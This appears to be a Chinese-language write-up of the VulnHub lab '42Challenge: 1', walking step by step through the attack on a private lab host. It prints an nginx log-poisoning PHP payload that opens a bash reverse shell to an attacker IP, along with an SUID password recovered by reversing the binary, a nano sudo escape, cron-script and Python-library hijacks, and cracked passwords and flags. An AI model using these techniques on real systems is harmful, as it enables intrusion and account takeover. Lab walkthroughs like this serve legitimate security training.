42Challenge: 1 ~ VulnHub
https://www.vulnhub.com/entry/42challenge-1,465/目标:Get the 7 flags
0x01 主机发现
nmap 192.168.56.0/24 -Pn

0x02 web渗透
2.1 目录扫描
dirsearch -u http://192.168.56.201/ -e*
![]()
轻松找到第一个flag,http://192.168.56.201/flag.txt
42challenge{www-data_d009633c1bea90aef338fae768aec8fd}
2.2 漏洞测试
输入ip执行ping命令,命令注入。
尝试堆叠命令反弹shell,测试常见的几个截断符号('|',';','&&')都失败了。

?log,似乎可以试试文件包含。

bp抓包测试本地文件包含,/etc/passwd有回显,包含本地文件成功。

存在本地文件包含,结合中间件是Nginx,能否包含Nginx日志文件,
-
访问日志:/var/log/nginx/access.log
-
错误日志:/var/log/nginx/error.log
(不知道为啥只能包含到错误日志)

2.3 nginx错误日志getshell
写入phpinfo测试能否写入到error.log。http://192.168.56.201/index.php?log=<?php phpinfo(); ?>
回显phpinfo内容。

写入shell,
http://192.168.56.201/index.php?log=<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.109/4444 0>&1'"); ?>

nc监听4444端口,接收反弹。包含/var/log/nginx/error.log触发反弹

0x03 提权
ls -al /home
drwxr-xr-x 7 laura laura 4096 Apr 13 2020 laura drwxr-xr-x 5 lucas lucas 4096 Mar 5 2020 lucas drwxr-xr-x 5 maria maria 4096 Apr 13 2020 maria drwxr-xr-x 14 marvin marvin 4096 Apr 14 2020 marvin drwxr-xr-x 5 pedro pedro 4096 Apr 13 2020 pedro
laura家目录下有.ssh文件,但是没有写入权限。
提权没思路了,上传linpeas.sh到目标机器/tmp下,chmod +x后执行。
3.1 shadow文件爆破提权到marvin
linpeas.sh枚举结果中有发现,/var/backups/shadow_backup.bak可读。
![]()
/etc/shadow的备份文件,存储了Linux系统中用户的密码信息。

复制到攻击机,使用john爆破。marvinthemartian (marvin)
ssh marvin@192.168.56.201

第二个flag。
42challenge{marvin_92e8dd9db0b4bd058eaa3ae340c41900}
3.2 suid程序逆向分析
suid发现线索——/usr/bin/Lucas_Access

任意用户可运行,运行后需要输入密码。(strings命令回显中有几个可疑字符串,经验证都不是正确密码)

放到攻击机进行分析。
# 靶机 nc 192.168.56.109 1234 < /usr/bin/Lucas_Access # 攻击机 nc -lvp 1234 > Lucas_Access
用IDA打开,找到密码逻辑部分:
__int64 __fastcall try(__int64 a1)
{
int i; // [rsp+14h] [rbp-Ch]
char *v3; // [rsp+18h] [rbp-8h]
v3 = (char *)malloc(0x11uLL);
v3[17] = 0;
strcpy(v3, "3dF_s6Pc");
strcat(v3, "j$mrE_Zz");
for ( i = 0; *(_BYTE *)(i + a1) && v3[i] && *(_BYTE *)(i + a1) == v3[i]; ++i )
;
return *(unsigned __int8 *)(i + a1) - (unsigned int)(unsigned __int8)v3[i];
}
-
strcpy(_3dF_s6Pc, "3dF_s6Pc");:将字符串 "3dF_s6Pc" 复制到 _3dF_s6Pc 指向的内存区域。
-
strcat(_3dF_s6Pc, "j$mrE_Zz");:将字符串 "j$mrE_Zz" 连接到 _3dF_s6Pc 指向的字符串后面。
因此密码是3dF_s6Pcj$mrE_Zz,成功切换到lucas账户。

第三个flag
42challenge{lucas_1e3ed5f8be63ef05c975e92ec3c53af2}
3.3 sudo提权

提权步骤:
sudo -u maria /bin/nano # ctrl+r ctrl+x ^R^X reset; sh 1>&0 2>&0
提权到maria账户。

第四个flag。
42challenge{maria_feb36fabc2ca4874fe0b42ed7d17d58f}
3.4 定时任务-修改源文件
常见的提权方法都用过了,传个pspy64看看有没有定时任务。
chmod +x pspy64 ./pspy64
发现定时任务,uid=1003的用户,也就是pedro有一个定时任务,/home/pedro/Reporting_System_Info.sh。

查看所在文件夹时发现特殊符号'+',使用getfacl命令查看隐藏的具体权限。

发现maria用户仅有可读权限,cat命令查看脚本内容。读取内容后有重大发现,虽然Reporting_System_Info.sh仅读,但是该脚本内执行了另一个脚本/home/maria/Send_Reporting_Email.sh,而/home/maria/文件夹我们有权限进行读写。

/home/maria目录下并没有Send_Reporting_Email.sh脚本,自己写一个。
![]()
攻击机监听端口,等待定时任务执行反弹shell。成功拿到pedro的shell。

利用python升级成完整的tty。
python -c 'import pty;pty.spawn("/bin/bash")'
第五个flag。
42challenge{pedro_6b849447404a8ddb95936e9804305fa6}
3.5 定时任务-python库劫持
还是看向定时任务,除了Reporting_System_Info.sh外还有uid=1004的用户定时执行了/home/laura/Server_Status.py

r-x,依旧没法直接修改py脚本来实现反弹shell,思路和利用Send_Reporting_Email.sh一致,看引入的文件是否可控。

用了os,subprocess两个库。

先使用python命令判断Python解释器版本,找到标准库路径/usr/lib/python<version>/packages,查看权限。
subprocess有读写权限。
ls -al /usr/lib/python2.7/subprocess.py # -rw-rw-rw-
发现库文件被写入了一些额外代码,和laura用户的ssh公钥有关。

攻击机执行ssh-keygen生成简单密钥对,执行后会在当前目录下生成两个文件id_rsa(私钥)和id_rsa.pub(公钥)
ssh-keygen -t
将公钥内容替换ssh_file.write()部分,a修改为w。

等待/home/laura/Server_Status.py被定时执行,就能连接到laura。(或者直接往subprocess.py追加python反弹shell代码)
第六个flag。
42challenge{laura_f43b25e765a8f79a24cedd76753d38c2}
3.6 sudo
sudo -l,/hoem/laura/test可以帮助我们无密码提权到root。

/home/laura目录下没有test文件,新建test文件把/bin/bash软连接or拷贝到文件中。
运行后提权到root。

42challenge{root_b66b33ade4d6aacb37d84353074d5aed}
3.7 源码分析
/home/laura/secret_messages文件夹内有内容

Reminder.txt似乎是一个加密字符串,xjw?wttyUfxx|twi?my<+dijwJK;

需要用decrypt解密Reminder.txt文件?很像偏移类密码,试了试ROT21比较像,ser?rootPass|ord?ht<+yderEF;,看上去像回事了,root的密码是ht<+yderEF;?当然不对....以为一眼看出解密逻辑...
把decrypt下载到本地用IDA分析。逻辑大概就是读取Secret_Message.txt,将每个字符减5。(不就是ROT21吗,为啥不对)
int __fastcall main(int argc, const char **argv, const char **envp)
{
char filename[208]; // [rsp+10h] [rbp-E0h] BYREF
int v5; // [rsp+E0h] [rbp-10h]
char c; // [rsp+E7h] [rbp-9h]
FILE *stream; // [rsp+E8h] [rbp-8h]
strcpy(filename, "Secret_Message.txt");
stream = fopen(filename, "r");
while ( 1 )
{
c = fgetc(stream);
if ( c == -1 )
break;
v5 = c - 5;
c -= 5;
putchar(c);
}
fclose(stream);
return 0;
}
将Reminder.txt和decrypt文件复制到/tmp目录下。
# 重命名 mv Reminder.txt Secret_Message.txt # 解密 ./decrypt
成功解密得到root密码:(解出来的明文跟ROT21不一样,ASCII码减5,有什么问题吗....)
User: root Password: ht7&_derEF67pFh


1202

被折叠的 条评论
为什么被折叠?



